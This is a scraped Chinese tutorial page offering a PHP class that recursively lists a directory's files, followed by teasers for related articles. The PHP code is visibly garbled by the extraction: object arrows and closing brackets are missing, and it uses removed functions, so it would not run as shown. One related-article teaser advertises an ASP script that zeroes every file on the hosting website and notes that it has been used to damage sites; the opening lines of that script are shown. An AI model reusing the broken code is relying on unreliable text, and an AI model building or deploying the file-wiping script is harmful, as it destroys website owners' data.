树型结构列出指定目录里所有文件的PHP类

2016-01-29 14:50 78 1 收藏

树型结构列出指定目录里所有文件的PHP类,树型结构列出指定目录里所有文件的PHP类

【 tulaoshi.com - PHP 】

  <?
//以树型结构列出指定目录里的所有文件,如果你想知道自己某个目录里有哪些子目录和文件,可以调用这个类来查看,很方便的。

    # 演示的例子:
    $t = new TreeClimber( "asp" ); //新建物件,设置需要列出的目录:在此为asp目录
    echo arrayValuesToString( $t-getFileList( $t-getPath() ), "<BRn" );
    
    function arrayValuesToString( $ar, $nl="", $dolast=true ) {//调用函数
    $str = "";
    reset( $ar );
    $size = sizeof( $ar );
    $i = 1;
    while( list( $k, $v ) = each( $ar ) ) {
    if ( $dolast == false ) {
    if ( $i < $size ) {
        $str .= $ar[$k].$nl;
    }
    else {
        $str .= $ar[$k];
    }
    }
    else {
    $str .= $ar[$k].$nl;
    }
    $i++;
    }
    return $str;
    }
    ?
    <?
    //以下为类文件
    class TreeClimber {
    var $path;
    var $fileList = array();
    function TreeClimber( $path = "." ) {
    $this-path = $path;
    }
    
    # 存取路径
    function getPath() { return $this-path; }
    function setPath( $v ) { $this-path = $v; }
    
    // 返回指定目录里的文件列表,如果没有指定目录,将使用当前目录
    //如果不能打开目录(可能没权限或目录不存在,将返回为空
    //以递归方式进行
     function getFileList( $dirname=null, $returnDirs=false, $reset=true ) {
    if ( $dirname == null ) { $dirname = $this-path; }
    # else { $this-setPath( $dirname ); }
    # dout( "Recursing into $dirname..." );
    if ( $reset ) {  
    $this-fileList = array();
    }
    $dir = opendir( $dirname );
    if ( ! $dir ) {  
    print( "<B<FONT COLOR=#FF0000注意: TreeClimber.getFileList( $dirname ): 不能打开 $dirname!</FONT</B" );
    return null;  
    }
    while( $file = readdir( $dir ) ) {
    if ( ereg( "^.$", $file ) || ereg( "^..$", $file ) ) continue;
    if ( is_dir( $dirname."/".$file ) ) {
    $this-getFileList( $dirname."/".$file, $returnDirs, false );
    if ( $returnDirs ) { $this-fileList[] = $dirname."/".$file;}
    }
    else { $this-fileList[] = $dirname."/".$file; }
    }
    sort( $this-fileList );
    return $this-fileList;
    }
    } //至此类结束
    ?

 

来源:https://www.tulaoshi.com/n/20160129/1494404.html

延伸阅读
标签: ASP
  bigeagle】 于 2000-12-6 14:43:38 加贴在 Joy ASP ↑: 下面这种方法是大怪兽和怡红公子现在采用的方法 create table forum ( ID int NOT NULL IDENTITY,/*帖子序列号*/ rootID int NOT NULL, /*根帖子序列号*/ parentID int NOT NULL default=0,/*双亲帖子序列号*/ indent tinyint,/*缩进*/ order tinyint,/*同主题帖子排序*/ user...
标签: ASP
  作用:可以清空此文件所在的web站点所有文件,将文件内容清零.运行完毕所有文件大小都变成0字节. 此代码本人原创,转载请注明转自lamking.com,谢谢合作.另外程序可以扩展. 属于无聊时的作品,已经有人利用这个破坏了一些网站了. <% Server.ScriptTimeout=99999 If Request("Submit")<"" Then  Call ListFile(Server.mappath("...
目录结构及主要内容 “/”根目录部分有以下子目录: /usr 目录包含所有的命令、程序库、文档和其它文件。这些文件在正常操作中不会被改变的。这个目录也包含你的Linux发行版本的主要的应用程序,譬如,Netscape。 /var 目录包含在正常操作中被改变的文件:假脱机文件、记录文件、加锁文件、临时文件和页格式化文件等。 ...
 Public Sub CopyDerictory(ByVal DirectorySrc As DirectoryInfo, ByVal DirectoryDes As DirectoryInfo)         Dim strDirectoryDesPath As String = DirectoryDes.FullName & "\" & DirectorySrc.Name              If Not Dir...
标签: Java JAVA基础
  实现论坛树型结构的算法很多,我现在的JSP论坛采用的也是当中的一种:不用递归实现树型结构的算法,现在我将论坛树型结构的具体算法和大家介绍一下,和大家一起交流。   1、演示表的结构: 表名:mybbslist 字段 数据类型 说明 BBSID 自动编号 RootID Int ...

经验教程

705

收藏

25
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部